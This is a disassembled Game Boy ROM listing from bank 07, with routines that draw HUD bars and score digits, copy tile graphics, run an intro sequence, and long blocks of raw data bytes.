db $3E, $67, $E0, $40, $3E, $58, $E0, $4A
db $3E, $07, $E0, $4B, $C9
toc_07_5B28:
ld hl, $DA14
ld a, $AA
ldi [hl], a
ld [hl], $02
ld hl, $DA16
ld a, $AA
ldi [hl], a
ld [hl], $02
assign [gbLYC], 127
ld [wDesiredLYC], a
ld c, $14
ld de, $5B5D
ld hl, gbBGDAT1
.loop_07_5B47:
ld a, [de]
inc de
ldi [hl], a
dec c
jr nz, .loop_07_5B47
ld hl, $9C20
.loop_07_5B50:
ld a, [de]
inc de
ldi [hl], a
dec c
jr nz, .loop_07_5B50
ld hl, $DEDE
xor a
ldi [hl], a
ld [hl], a
ret
db $7F, $7B, $6F, $6F, $6F, $6F, $6F, $6F
db $7F, $67, $67, $67, $67, $67, $67, $67
db $7F, $69, $6B, $7F, $7F, $70, $70, $70
db $70, $70, $70, $70, $7F, $7C, $70, $70
db $7F, $65, $66, $70, $7F, $6A, $6C, $7F
toc_07_5B85:
ld hl, $DEDE
ld b, [hl]
bit 7, b
jp nz, .else_07_5BBA
bit 1, b
call nz, toc_07_5CC6
bit 2, b
call nz, toc_07_5E92
bit 3, b
call nz, toc_07_5EC8
bit 5, b
call nz, toc_07_5E06
bit 6, b
call nz, toc_07_5E6A
ld hl, $DEDF
bit 0, [hl]
jr nz, .else_07_5BB4
bit 0, b
call nz, toc_07_5C6D
ret
.else_07_5BB4:
bit 4, b
call nz, toc_07_5F13
ret
.else_07_5BBA:
ifNotZeroAtAddress $DEE9, .else_07_5BC4
dec a
ld [hl], a
ret
.else_07_5BC4:
ld de, $DEE6
ld a, [de]
ld l, a
inc e
ld a, [de]
ld h, a
inc e
ld a, [de]
jp cbcallWithoutInterrupts
db $C9
toc_07_5BD2:
ld hl, $DEDF
bit 0, [hl]
call nz, toc_07_5C12
ld hl, $DEDF
bit 1, [hl]
jr nz, .else_07_5BE9
ld de, $A04C
ld hl, $DEE3
jr .toc_07_5BEF
.else_07_5BE9:
ld de, $A072
ld hl, $DEE5
.toc_07_5BEF:
ld a, [de]
cp [hl]
ret z
jr nc, .else_07_5C01
ld a, [de]
ld [hl], a
ld hl, $DEEB
xor a
ld [hl], a
ld hl, $DEDE
set 1, [hl]
ret
.else_07_5C01:
ifNotZeroAtAddress $DEEB, .else_07_5C0B
dec a
ld [hl], a
ret
.else_07_5C0B:
ld a, $05
ld [hl], a
call toc_07_5D36
ret
toc_07_5C12:
call toc_07_5C39
ld hl, $DEE4
cp [hl]
ret z
jr nc, .else_07_5C28
ld [hl], a
ld hl, $DEEC
xor a
ld [hl], a
ld hl, $DEDE
set 4, [hl]
ret
.else_07_5C28:
ifNotZeroAtAddress $DEEC, .else_07_5C32
dec a
ld [hl], a
ret
.else_07_5C32:
ld a, $05
ld [hl], a
call toc_07_5DBB
ret
toc_07_5C39:
push bc
push hl
xor a
ld b, a
ld d, a
ld hl, $A085
ld a, [hl]
add a, a
jr nc, .else_07_5C46
inc b
.else_07_5C46:
add a, a
rl b
ld l, a
ld h, b
add a, a
rl b
add a, l
ld c, a
ld a, b
adc h
ld b, a
ld hl, $A086
ld e, [hl]
ld a, c
.toc_07_5C58:
ld c, a
sub a, e
jr nc, .else_07_5C61
dec b
bit 7, b
jr nz, .else_07_5C64
.else_07_5C61:
inc d
jr .toc_07_5C58
.else_07_5C64:
ld a, c
and a
ld a, d
jr z, .else_07_5C6A
inc a
.else_07_5C6A:
pop hl
pop bc
ret
toc_07_5C6D:
ld a, $07
call toc_01_0675
ret c
push bc
ld de, $9C21
ld a, [$FF92]
ld l, a
ld h, $C4
ld [hl], e
inc l
ld [hl], d
inc l
ld [hl], $07
inc l
ld c, $70
ld de, $DEDB
ld a, [de]
ld b, a
inc de
ld b, a
swap a
and %00001111
add a, c
ld [hl], a
inc l
ld a, b
and %00001111
add a, c
ld [hl], a
inc l
ld a, [de]
inc de
ld b, a
swap a
and %00001111
add a, c
ld [hl], a
inc l
ld a, b
and %00001111
add a, c
ld [hl], a
inc l
ld a, [de]
ld b, a
swap a
and %00001111
add a, c
ld [hl], a
inc l
ld a, b
and %00001111
add a, c
ld [hl], a
inc l
ld a, c
ld [hl], a
inc l
ld a, l
ld [$FF92], a
pop bc
ld hl, $DEDE
res 0, b
ld [hl], b
ret
toc_07_5CC6:
ld a, $07
call toc_01_0675
ret c
ld de, $9C01
ld a, [$FF92]
ld l, a
ld h, $C4
ld [hl], e
inc l
ld [hl], d
inc l
ld [hl], $07
inc l
ld [hl], $7B
inc l
ld de, $DEDF
ld a, [de]
bit 1, a
jr nz, .else_07_5D13
ld de, $A04C
ld a, [de]
ld d, $06
.loop_07_5CEC:
and a
jr z, .else_07_5CFF
sub a, $02
jr c, .else_07_5CFB
ld [hl], $64
inc l
dec d
jr nz, .loop_07_5CEC
jr .else_07_5D09
.else_07_5CFB:
dec d
ld [hl], $6E
inc l
.else_07_5CFF:
ld a, d
and a
jr z, .else_07_5D09
ld [hl], $63
inc l
dec d
jr nz, .else_07_5CFF
.else_07_5D09:
ld a, l
ld [$FF92], a
ld hl, $DEDE
res 1, b
ld [hl], b
ret
.else_07_5D13:
ld a, [$A072]
ld d, $06
and a
jr z, .else_07_5D22
.loop_07_5D1B:
ld [hl], $64
inc l
dec d
dec a
jr nz, .loop_07_5D1B
.else_07_5D22:
ld a, d
and a
jr z, .else_07_5D2C
.loop_07_5D26:
ld [hl], $63
inc l
dec d
jr nz, .loop_07_5D26
.else_07_5D2C:
ld a, l
ld [$FF92], a
ld hl, $DEDE
res 1, b
ld [hl], b
ret
toc_07_5D36:
ld a, $07
call toc_01_0675
jr nc, .else_07_5D43
ld hl, $DEEB
ld [hl], $00
ret
.else_07_5D43:
ld de, $9C01
ld a, [$FF92]
ld l, a
ld h, $C4
ld [hl], e
inc l
ld [hl], d
inc l
ld [hl], $07
inc l
ld [hl], $7B
inc l
ld de, $DEDF
ld a, [de]
bit 1, a
jr nz, .else_07_5D91
ld de, $DEE3
ld a, [de]
inc a
inc a
ld [de], a
ld d, $06
.loop_07_5D66:
and a
jr z, .else_07_5D79
sub a, $02
jr c, .else_07_5D75
ld [hl], $64
inc l
dec d
jr nz, .loop_07_5D66
jr .else_07_5D83
.else_07_5D75:
dec d
ld [hl], $6E
inc l
.else_07_5D79:
ld a, d
and a
jr z, .else_07_5D83
ld [hl], $63
inc l
dec d
jr nz, .else_07_5D79
.else_07_5D83:
ld a, l
ld [$FF92], a
ld e, $12
cbcallNoInterrupts $1E, $4299
ret
.else_07_5D91:
ld de, $DEE5
ld a, [de]
inc a
ld [de], a
ld d, $06
.loop_07_5D99:
and a
jr z, .else_07_5DA3
ld [hl], $64
inc l
dec a
dec d
jr nz, .loop_07_5D99
.else_07_5DA3:
ld a, d
and a
jr z, .else_07_5DAD
ld [hl], $63
inc l
dec d
jr nz, .else_07_5DA3
.else_07_5DAD:
ld a, l
ld [$FF92], a
ld e, $12
cbcallNoInterrupts $1E, $4299
ret
toc_07_5DBB:
ld a, $07
call toc_01_0675
ret c
ld de, $9C21
ld a, [$FF92]
ld l, a
ld h, $C4
ld [hl], e
inc l
ld [hl], d
inc l
ld [hl], $07
inc l
ld [hl], $7A
inc l
ld de, $DEE4
ld a, [de]
inc a
ld [de], a
ld d, $06
.loop_07_5DDB:
and a
jr z, .else_07_5DEE
sub a, $02
jr c, .else_07_5DEA
ld [hl], $6F
inc l
dec d
jr nz, .loop_07_5DDB
jr .else_07_5DF8
.else_07_5DEA:
dec d
ld [hl], $6E
inc l
.else_07_5DEE:
ld a, d
and a
jr z, .else_07_5DF8
ld [hl], $6D
inc l
dec d
jr nz, .else_07_5DEE
.else_07_5DF8:
ld a, l
ld [$FF92], a
ld e, $12
cbcallNoInterrupts $1E, $4299
ret
toc_07_5E06:
ld a, $07
call toc_01_0675
ret c
ld de, $9C09
ld a, [$FF92]
ld l, a
ld h, $C4
ld [hl], e
inc l
ld [hl], d
inc l
ld [hl], $07
inc l
ld de, $DEE1
ld a, [de]
and a
jr z, .else_07_5E4B
ld [hl], $68
inc l
dec a
jr z, .else_07_5E4E
ld [hl], $68
inc l
dec a
jr z, .else_07_5E51
ld [hl], $68
inc l
dec a
jr z, .else_07_5E54
ld [hl], $68
inc l
dec a
jr z, .else_07_5E57
ld [hl], $68
inc l
dec a
jr z, .else_07_5E5A
ld [hl], $68
inc l
dec a
jr z, .else_07_5E5D
ld [hl], $68
inc l
jr .toc_07_5E60
.else_07_5E4B:
ld [hl], $67
inc l
.else_07_5E4E:
ld [hl], $67
inc l
.else_07_5E51:
ld [hl], $67
inc l
.else_07_5E54:
ld [hl], $67
inc l
.else_07_5E57:
ld [hl], $67
inc l
.else_07_5E5A:
ld [hl], $67
inc l
.else_07_5E5D:
ld [hl], $67
inc l
.toc_07_5E60:
ld a, l
ld [$FF92], a
ld hl, $DEDE
res 5, b
ld [hl], b
ret
toc_07_5E6A:
ld a, $01
call toc_01_0675
ret c
ld de, $9C2F
ld a, [$FF92]
ld l, a
ld h, $C4
ld [hl], e
inc l
ld [hl], d
inc l
ld [hl], $01
inc l
ld a, [$DB60]
inc a
ld e, $70
add a, e
ld [hl], a
inc l
ld a, l
ld [$FF92], a
ld hl, $DEDE
res 6, b
ld [hl], b
ret
toc_07_5E92:
ld a, $03
call toc_01_0675
ret c
ld de, $9C29
ld a, [$FF92]
ld l, a
ld h, $C4
ld [hl], e
inc l
ld [hl], d
inc l
ld [hl], $03
inc l
ld [hl], $7C
inc l
ld de, $A084
ld a, [de]
ld d, $70
ld e, a
swap a
and %00001111
add a, d
ld [hl], a
inc l
ld a, e
and %00001111
add a, d
ld [hl], a
inc l
ld a, l
ld [$FF92], a
ld hl, $DEDE
res 2, b
ld [hl], b
ret
toc_07_5EC8:
ld a, $40
call toc_01_0675
ret c
push bc
ld de, $9690
ld a, [$FF92]
ld c, a
ld b, $C4
ld a, e
ld [bc], a
inc c
ld a, d
ld [bc], a
inc c
ld a, $40
ld [bc], a
inc c
ld de, $DEE0
ld a, [de]
swap a
ld l, a
and %00001111
ld h, a
ld a, l
and %11110000
ld l, a
sla l
rl h
sla l
rl h
__changebank $07
ld de, $57DC
add hl, de
ld d, $40
.loop_07_5F02:
ldi a, [hl]
ld [bc], a
inc c
dec d
jr nz, .loop_07_5F02
ld a, c
ld [$FF92], a
pop bc
ld hl, $DEDE
res 3, b
ld [hl], b
ret
toc_07_5F13:
ld a, $07
call toc_01_0675
ret c
ld de, $9C21
ld a, [$FF92]
ld l, a
ld h, $C4
ld [hl], e
inc l
ld [hl], d
inc l
ld [hl], $07
inc l
ld [hl], $7A
inc l
call toc_07_5C39
ld d, $06
.loop_07_5F30:
and a
jr z, .else_07_5F43
sub a, $02
jr c, .else_07_5F3F
ld [hl], $6F
inc l
dec d
jr nz, .loop_07_5F30
jr .else_07_5F4D
.else_07_5F3F:
dec d
ld [hl], $6E
inc l
.else_07_5F43:
ld a, d
and a
jr z, .else_07_5F4D
ld [hl], $6D
inc l
dec d
jr nz, .else_07_5F43
.else_07_5F4D:
ld a, l
ld [$FF92], a
ld hl, $DEDE
res 4, b
ld [hl], b
ret
db $21, $EA, $DE, $36, $04, $3E, $07, $CD
db $75, $06, $D8, $11, $09, $9C, $F0, $92
db $6F, $26, $C4, $73, $2C, $72, $2C, $36
db $07, $2C, $36, $68, $2C, $36, $68, $2C
db $36, $68, $2C, $36, $68, $2C, $36, $68
db $2C, $36, $68, $2C, $36, $68, $2C, $7D
db $E0, $92, $21, $E9, $DE, $36, $14, $21
db $E6, $DE, $36, $9A, $23, $36, $5F, $23
db $36, $07, $C9, $3E, $07, $CD, $75, $06
db $D8, $11, $09, $9C, $F0, $92, $6F, $26
db $C4, $73, $2C, $72, $2C, $36, $07, $2C
db $36, $67, $2C, $36, $67, $2C, $36, $67
db $2C, $36, $67, $2C, $36, $67, $2C, $36
db $67, $2C, $36, $67, $2C, $7D, $E0, $92
db $21, $EA, $DE, $7E, $A7, $CA, $E2, $5F
db $3D, $77, $21, $E9, $DE, $36, $0A, $21
db $E6, $DE, $36, $5C, $23, $36, $5F, $23
db $36, $07, $C9, $21, $DE, $DE, $CB, $BE
db $AF, $21, $E9, $DE, $22, $77, $C9
toc_07_5FEE:
ld hl, $DF00
ld a, $3E
ldi [hl], a
ld [hl], $06
plotFromTo $6107, $8000
memcpyFromTo gbVRAM, $9000, $0800
plotFromTo $697D, $9800
ld a, $0B
ld hl, $68A0
ld de, $8000
call toc_01_060D
ld a, $09
ld hl, $4000
ld de, $8100
ld bc, $0280
call toc_01_05BF
ld a, $09
ld hl, $4280
ld de, $8380
ld bc, $0220
call toc_01_05BF
cbcallNoInterrupts $08, $4000
ld a, $F8
ld hl, $A0B3
call toc_01_07C4
clear [$DF02]
ld hl, $CD09
ld a, $E4
ldi [hl], a
ld a, $D0
ldi [hl], a
ld a, $E4
ld [hl], a
ld e, $FF
cbcallNoInterrupts $1E, $4299
ld e, $06
cbcallNoInterrupts $1F, $4232
call toc_01_1584
assign [gbLCDC], LCDCF_BG_DISPLAY | LCDCF_OBJ_16_16 | LCDCF_OBJ_DISPLAY | LCDCF_TILEMAP_9C00
call toc_01_046D
ld e, $08
cbcallNoInterrupts $1E, $6011
ld de, $0004
cbcallNoInterrupts $1A, $4246
ld e, $06
cbcallNoInterrupts $1E, $606D
ld a, $20
.loop_07_609A:
push af
call toc_01_0496
cbcallNoInterrupts $00, $086B
call toc_01_04AE
call toc_01_0343
call toc_01_0357
pop af
dec a
jr nz, .loop_07_609A
.loop_07_60B3:
call toc_01_0496
cbcallNoInterrupts $00, $086B
call toc_01_0647
call toc_01_04AE
call toc_01_0343
call toc_01_0357
ld a, [$DF02]
or a
jr nz, .else_07_60E8
ld hl, $DF00
ld a, [hl]
sub a, $01
ldi [hl], a
ld a, [hl]
sbc $00
ldd [hl], a
or [hl]
jr nz, .loop_07_60B3
cbcallNoInterrupts $08, $5E92
jr .toc_07_60EF
.else_07_60E8:
clear [$DEFF]
jp toc_01_0437
.toc_07_60EF:
ld e, $00
cbcallNoInterrupts $1E, $606D
ld de, $0004
cbcallNoInterrupts $1A, $427B
jp toc_01_0437
db $32, $00, $41, $38, $00, $02, $F9, $00
db $39, $41, $00, $3B, $24, $00, $0A, $F8
db $00, $D8, $00, $DC, $00, $8C, $00, $FE
db $00, $8E, $23, $00, $44, $00, $E0, $01
db $00, $FC, $24, $00, $41, $C0, $00, $00
db $C3, $41, $00, $C6, $01, $00, $F3, $24
db $00, $41, $0C, $00, $00, $EF, $41, $00
db $6C, $01, $00, $EF, $28, $00, $03, $8F
db $00, $D9, $00, $CB, $00, $69, $06, $36
db $00, $B8, $00, $B0, $00, $30, $28, $00
db $00, $7D, $41, $00, $CC, $01, $00, $7C
db $88, $00, $3E, $00, $E7, $84, $00, $88
db $00, $C7, $28, $00, $00, $9B, $C4, $00
db $28, $00, $98, $AA, $00, $6E, $06, $6C
db $00, $39, $00, $19, $00, $31, $A4, $00
db $50, $83, $00, $75, $00, $37, $41, $00
db $B6, $CA, $00, $A6, $04, $EC, $00, $6C
db $00, $67, $28, $00, $00, $80, $C5, $00
db $80, $AE, $00, $2E, $00, $07, $A3, $00
db $3E, $45, $00, $03, $24, $00, $0A, $1B
db $00, $98, $00, $DB, $00, $7B, $00, $3B
db $00, $1B, $88, $00, $B0, $00, $7E, $42
db $00, $66, $24, $00, $0A, $60, $00, $F3
db $00, $66, $00, $67, $00, $66, $00, $63
db $26, $00, $08, $CD, $00, $6F, $00, $EC
db $00, $0C, $00, $CC, $A6, $00, $E2, $85
db $00, $67, $00, $D9, $A6, $00, $4C, $02
db $80, $00, $9E, $42, $00, $B3, $01, $00
db $9E, $86, $00, $FE, $03, $06, $00, $05
db $00, $C9, $01, $77, $02, $CF, $00, $27
db $41, $00, $E7, $01, $00, $27, $86, $00
db $9C, $00, $3E, $41, $00, $77, $05, $00
db $3F, $00, $07, $00, $06, $24, $00, $04
db $7F, $00, $70, $00, $7E, $84, $00, $F2
db $00, $7E, $C4, $00, $41, $00, $FC, $23
db $EE, $02, $FC, $FC, $E0, $A5, $00, $FD
db $00, $00, $27, $EE, $00, $7C, $85, $00
db $8D, $0A, $00, $7E, $7E, $F0, $F0, $7C
db $7C, $1E, $1E, $FC, $FC, $89, $01, $BC
db $00, $FE, $CA, $01, $E6, $01, $FE, $FE
db $27, $38, $CB, $01, $D1, $01, $FE, $FE
db $C3, $01, $E3, $8B, $01, $AE, $01, $EE
db $EE, $31, $00, $00, $01, $CA, $02, $2E
db $01, $60, $60, $41, $F0, $90, $01, $01
db $01, $CD, $02, $2F, $22, $1C, $02, $14
db $1C, $1C, $35, $00, $03, $0F, $0F, $00
db $3F, $29, $00, $05, $07, $07, $0C, $0F
db $88, $8F, $AB, $02, $24, $05, $40, $C0
db $20, $E0, $00, $00, $8D, $02, $70, $29
db $00, $00, $FF, $41, $FF, $00, $00, $FF
db $89, $02, $26, $05, $82, $83, $67, $E6
db $16, $F7, $C5, $02, $3B, $09, $FC, $FC
db $03, $FF, $00, $FF, $55, $AA, $AA, $55
db $A9, $02, $72, $05, $18, $F8, $54, $AC
db $AD, $55, $AD, $02, $60, $01, $98, $F8
db $83, $02, $2C, $2B, $03, $83, $02, $EC
db $03, $A8, $58, $58, $A8, $41, $F8, $08
db $03, $FC, $04, $FC, $84, $89, $02, $47
db $01, $0C, $13, $41, $07, $08, $A5, $00
db $4E, $03, $20, $50, $60, $90, $41, $E0
db $10, $01, $F0, $0C, $A6, $00, $E4, $00
db $00, $22, $70, $00, $50, $C3, $03, $39
db $0B, $34, $CF, $FD, $02, $7A, $85, $49
db $B6, $4B, $B4, $33, $FC, $41, $3F, $30
db $07, $58, $DF, $55, $DA, $FA, $75, $7F
db $F0, $42, $FF, $60, $0B, $FF, $40, $21
db $E1, $62, $A3, $C6, $45, $CD, $4E, $CF
db $4C, $41, $8F, $8C, $0B, $8F, $8E, $DD
db $DA, $3A, $FD, $BF, $5C, $5F, $BF, $F7
db $17, $41, $F3, $13, $01, $FB, $0B, $C6
db $02, $CF, $00, $06, $41, $FF, $07, $0B
db $FD, $05, $FF, $06, $57, $B6, $AF, $5F
db $FB, $0B, $F9, $09, $41, $F8, $08, $41
db $F0, $10, $03, $FF, $00, $FF, $01, $43
db $FF, $C1, $07, $FF, $C0, $FF, $80, $FF
db $03, $FF, $83, $41, $FF, $C3, $03, $7F
db $43, $FF, $83, $41, $FD, $05, $1F, $08
db $F8, $AC, $54, $55, $AD, $FD, $05, $FF
db $07, $FF, $83, $FF, $82, $FF, $80, $3F
db $3F, $C7, $FF, $EB, $D7, $D7, $AB, $FE
db $82, $FC, $04, $FD, $05, $F9, $09, $42
db $FC, $84, $08, $F8, $C8, $FF, $FF, $E0
db $FF, $AA, $D5, $D5, $AA, $02, $DF, $05
db $C0, $C0, $A0, $67, $51, $B2, $83, $00
db $C0, $41, $10, $28, $07, $18, $24, $3C
db $C3, $FF, $00, $FE, $01, $41, $03, $04
db $05, $07, $08, $0E, $11, $08, $16, $C5
db $00, $14, $05, $F8, $06, $FE, $01, $E0
db $1E, $41, $60, $90, $41, $20, $50, $03
db $00, $20, $0C, $0C, $41, $1E, $12, $00
db $0C, $A7, $00, $7D, $02, $C0, $3F, $38
db $43, $1F, $18, $01, $1F, $1C, $41, $0F
db $0C, $42, $FF, $01, $03, $FE, $02, $FF
db $01, $42, $FF, $00, $44, $07, $06, $05
db $87, $87, $C3, $43, $E3, $23, $44, $FB
db $0B, $42, $FF, $07, $43, $FF, $00, $41
db $FF, $04, $41, $FF, $06, $42, $E1, $21
db $41, $F1, $11, $01, $F9, $09, $84, $04
db $78, $00, $80, $A7, $03, $A2, $42, $FE
db $02, $05, $F9, $09, $FD, $05, $FC, $84
db $43, $FE, $C2, $03, $FF, $C3, $FF, $80
db $43, $FF, $C0, $07, $FF, $C1, $FF, $81
db $FE, $82, $F1, $11, $41, $E3, $23, $03
db $C3, $43, $83, $83, $25, $03, $84, $02
db $AB, $04, $06, $FF, $0E, $FF, $0F, $83
db $03, $8A, $03, $FE, $82, $F0, $11, $42
db $F8, $08, $09, $F0, $10, $E0, $E0, $C0
db $C0, $01, $01, $7E, $81, $41, $3E, $41
db $05, $33, $4C, $20, $53, $00, $60, $AD
db $02, $2C, $05, $0C, $0C, $1F, $13, $1F
db $12, $A7, $02, $85, $83, $03, $32, $09
db $C0, $C0, $E0, $20, $40, $A0, $60, $9C
db $78, $84, $41, $F0, $08, $05, $78, $84
db $40, $BC, $00, $C0, $41, $0F, $0C, $01
db $0F, $0E, $88, $04, $60, $83, $04, $7F
db $04, $10, $FF, $08, $FF, $0C, $83, $04
db $E6, $05, $FB, $0B, $FD, $05, $F3, $13
db $84, $04, $78, $00, $03, $84, $04, $50
db $02, $81, $D5, $C1, $86, $04, $7A, $84
db $04, $A5, $03, $AB, $83, $D4, $C4, $85
db $03, $88, $09, $FD, $05, $54, $04, $A8
db $88, $F0, $F0, $E0, $E0, $84, $05, $64
db $0B, $83, $FF, $83, $D7, $C3, $EC, $E4
db $78, $78, $30, $30, $FF, $84, $04, $DF
db $05, $AA, $80, $FD, $FC, $FF, $FF, $A3
db $01, $BA, $85, $03, $BA, $09, $AB, $0B
db $7B, $3B, $E3, $E3, $83, $83, $01, $01
db $42, $FE, $82, $41, $FC, $04, $85, $05
db $88, $07, $1D, $1D, $3F, $23, $7E, $42
db $7F, $41, $84, $03, $AA, $04, $E0, $7F
db $60, $FE, $82, $A6, $04, $A4, $02, $41
db $FF, $81, $83, $04, $54, $03, $03, $02
db $03, $02, $8B, $02, $2E, $A5, $05, $F0
db $A9, $02, $50, $01, $0F, $0C, $42, $0F
db $08, $03, $E7, $E4, $E3, $A3, $83, $01
db $BA, $43, $F0, $10, $03, $E0, $20, $C0
db $C0, $91, $02, $1E, $01, $0E, $0F, $CB
db $02, $FB, $83, $02, $D8, $89, $05, $C6
db $0B, $EF, $EF, $10, $1F, $20, $3F, $EB
db $E3, $7C, $7C, $38, $38, $A7, $02, $76
db $03, $10, $F0, $F8, $F8, $C5, $02, $ED
db $06, $38, $38, $44, $7C, $C4, $FC, $C4
db $86, $01, $DB, $03, $0E, $0E, $19, $1F
db $41, $31, $3F, $01, $71, $7F, $87, $02
db $4A, $01, $26, $3E, $41, $62, $7E, $03
db $E2, $FE, $00, $00, $8D, $02, $F0, $84
db $02, $EA, $44, $F8, $08, $00, $F8, $C9
db $02, $D9, $0D, $1E, $1E, $33, $3F, $21
db $3F, $7F, $70, $3A, $38, $1F, $1E, $0F
db $0F, $A5, $06, $2A, $07, $1E, $1E, $FE
db $02, $AC, $04, $58, $18, $83, $05, $8C
db $05, $00, $00, $3C, $3C, $66, $7E, $A9
db $02, $86, $41, $08, $0F, $01, $18, $1F
db $85, $02, $76, $03, $38, $3F, $40, $7F
db $42, $80, $FF, $85, $02, $D4, $01, $1D
db $FD, $85, $04, $DF, $02, $40, $FF, $30
db $84, $07, $07, $41, $81, $FF, $00, $C0
db $41, $FF, $70, $00, $FF, $A3, $06, $5C
db $01, $04, $FC, $C7, $03, $E5, $04, $0B
db $FB, $60, $7F, $60, $42, $7F, $61, $00
db $7F, $A5, $04, $59, $05, $10, $F0, $31
db $F1, $E1, $E1, $23, $C1, $00, $63, $41
db $E3, $23, $00, $E3, $43, $82, $FE, $42
db $01, $FF, $04, $11, $FF, $71, $7F, $70
db $44, $7F, $60, $06, $7F, $62, $7F, $E2
db $FE, $C2, $FE, $C3, $03, $A7, $87, $07
db $68, $01, $02, $03, $43, $06, $07, $01
db $04, $07, $41, $0C, $0F, $44, $10, $F0
db $01, $20, $E0, $41, $21, $E1, $41, $61
db $7F, $02, $41, $7F, $C1, $A6, $05, $66
db $05, $88, $FF, $32, $3E, $21, $3F, $C3
db $07, $44, $43, $E0, $FF, $01, $42, $7E
db $43, $C2, $FE, $05, $42, $FE, $43, $FF
db $03, $FF, $A7, $01, $FC, $A7, $07, $66
db $C3, $04, $43, $06, $3C, $3F, $3E, $3F
db $DF, $DF, $3F, $84, $07, $2F, $0C, $C0
db $FF, $F8, $FF, $FC, $FF, $1C, $1F, $0C
db $0F, $0E, $0F, $06, $22, $07, $09, $70
db $FF, $78, $FF, $38, $FF, $3C, $FF, $2C
db $EF, $41, $14, $F7, $04, $0C, $FF, $30
db $FF, $38, $42, $FF, $18, $42, $FF, $1C
db $86, $05, $64, $02, $40, $FF, $60, $84
db $08, $1F, $0C, $3D, $FE, $80, $FF, $E1
db $FF, $61, $7F, $E1, $FF, $61, $FF, $21
db $A3, $04, $8A, $06, $BF, $4E, $CF, $D0
db $DF, $A0, $BF, $C3, $07, $74, $06, $FC
db $FF, $1C, $FF, $0C, $FF, $10, $88, $04
db $80, $00, $10, $A4, $08, $29, $00, $E2
db $41, $FF, $C2, $0D, $FF, $C3, $FF, $43
db $FF, $6B, $D7, $74, $EC, $78, $F8, $11
db $FF, $10, $A4, $05, $54, $0D, $F0, $FF
db $BA, $B5, $3D, $3B, $1E, $1E, $0C, $0F
db $8C, $8F, $88, $8F, $42, $98, $9F, $07
db $10, $1F, $30, $3F, $27, $E7, $28, $EF
db $41, $50, $DF, $08, $58, $DF, $4E, $CF
db $3C, $FF, $06, $FF, $08, $8C, $08, $61
db $03, $B8, $7F, $E0, $FF, $41, $B0, $BF
db $44, $70, $FF, $01, $01, $FF, $A5, $07
db $24, $41, $C1, $FF, $07, $E1, $FF, $F5
db $EB, $C0, $FF, $E1, $FF, $42, $61, $7F
db $01, $41, $7F, $41, $C2, $FE, $02, $04
db $FC, $82, $86, $04, $B6, $41, $C3, $FF
db $01, $82, $FF, $87, $06, $42, $87, $02
db $40, $02, $0C, $FF, $08, $A6, $07, $87
db $07, $C0, $FF, $EB, $D5, $F6, $EE, $1C
db $FF, $41, $26, $E7, $05, $47, $C6, $47
db $C7, $81, $81, $23, $00, $09, $2E, $EF
db $17, $F7, $B3, $53, $50, $B0, $E0, $E0
db $85, $06, $2A, $06, $EA, $75, $F5, $FA
db $7F, $7F, $3F, $88, $02, $6F, $07, $AE
db $5D, $5F, $BE, $E7, $E7, $C3, $C3, $87
db $02, $74, $07, $BD, $7A, $5E, $DD, $8F
db $8F, $06, $06, $27, $00, $01, $70, $F0
db $AD, $02, $42, $01, $0C, $0C, $2D, $00
db $07, $30, $3F, $3D, $3A, $3F, $3F, $1F
db $1F, $A7, $06, $C4, $07, $03, $FE, $57
db $AB, $A7, $DF, $FC, $FC, $C7, $02, $ED
db $05, $5D, $DA, $DE, $DD, $8F, $8F, $A9
db $06, $C0, $05, $75, $FA, $FB, $FD, $9F
db $9F, $C7, $06, $87, $07, $00, $00, $BB
db $B7, $BF, $BF, $1D, $1D, $89, $09, $06
db $01, $C2, $FE, $A5, $07, $86, $08, $D5
db $AA, $EA, $D5, $FF, $FF, $7E, $7E, $82
db $84, $04, $88, $04, $08, $FF, $70, $BF
db $E0, $84, $04, $C2, $03, $7C, $7C, $70
db $70, $91, $06, $2D, $01, $07, $08, $42
db $03, $04, $01, $06, $09, $83, $02, $89
db $0D, $80, $40, $C0, $38, $F0, $08, $C0
db $30, $C0, $22, $42, $AD, $07, $05, $CC
db $02, $9D, $00, $80, $2D, $00, $01, $0E
db $0E, $C3, $09, $0D, $89, $09, $06, $03
db $00, $00, $FC, $84, $42, $FE, $02, $07
db $FE, $06, $FF, $89, $7F, $79, $06, $06
db $A6, $0A, $20, $08, $04, $07, $38, $1F
db $20, $07, $18, $03, $0C, $85, $02, $87
db $03, $80, $78, $F0, $08, $42, $E0, $10
db $85, $02, $F2, $03, $3F, $3F, $7F, $67
db $41, $7E, $42, $01, $7E, $66, $85, $09
db $16, $00, $FC, $24, $FF, $01, $3F, $3F
db $AC, $06, $2A, $00, $C0, $84, $00, $E6
db $AE, $0A, $03, $07, $4F, $B0, $07, $68
db $05, $0A, $00, $05, $88, $00, $DF, $02
db $40, $00, $80, $8F, $0A, $3E, $22, $03
db $00, $02, $87, $0A, $AE, $A3, $03, $3A
db $AB, $0A, $54, $41, $03, $04, $02, $02
db $05, $00, $88, $09, $67, $05, $F0, $08
db $10, $E8, $00, $18, $95, $0A, $EA, $23
db $00, $01, $BC, $BC, $A4, $02, $40, $D1
db $0A, $F3, $0E, $80, $00, $18, $18, $66
db $7E, $81, $0F, $0F, $7A, $75, $D5, $AA
db $88, $77, $43, $00, $FF, $0A, $FF, $00
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db $02, $05, $14, $1D, $1E, $39, $1A, $3C
db $FE, $0B, $38, $02, $3E, $02, $12, $C9
db $10, $5B, $0E, $07, $C1, $71, $DD, $71
db $FD, $71, $15, $72, $32, $72, $4A, $72
db $8B, $72, $04, $1A, $61, $0A, $19, $00
db $04, $19, $01, $04, $0D, $AF, $0F, $08
db $10, $00, $01, $02, $0D, $77, $0F, $02
db $05, $14, $19, $00, $04, $1D, $04, $BB
db $61, $0A, $19, $00, $06, $19, $01, $04
db $19, $02, $04, $19, $03, $08, $0D, $77
db $0F, $02, $05, $14, $19, $02, $04, $19
db $01, $04, $19, $00, $04, $1D, $09, $04
db $04, $99, $5E, $0A, $19, $02, $04, $04
db $3B, $62, $0A, $19, $01, $04, $0A, $0D
db $77, $0F, $02, $05, $14, $1D, $04, $C2
db $62, $0A, $19, $00, $04, $19, $01, $04
db $24, $55, $0D, $AF, $0F, $0B, $10, $00
db $0D, $77, $0F, $02, $19, $02, $14, $19
db $00, $04, $1D, $04, $4D, $63, $0A, $19
db $00, $04, $19, $01, $02, $19, $00, $02
db $0D, $77, $0F, $02, $19, $01, $14, $19
db $00, $04, $1D, $04, $99, $5E, $0A, $19
db $02, $06, $04, $B9, $63, $0A, $19, $00
db $04, $0D, $77, $0F, $02, $03, $79, $72
db $47, $09, $05, $19, $02, $02, $19, $03
db $02, $0A, $0F, $1F, $80, $0D, $82, $72
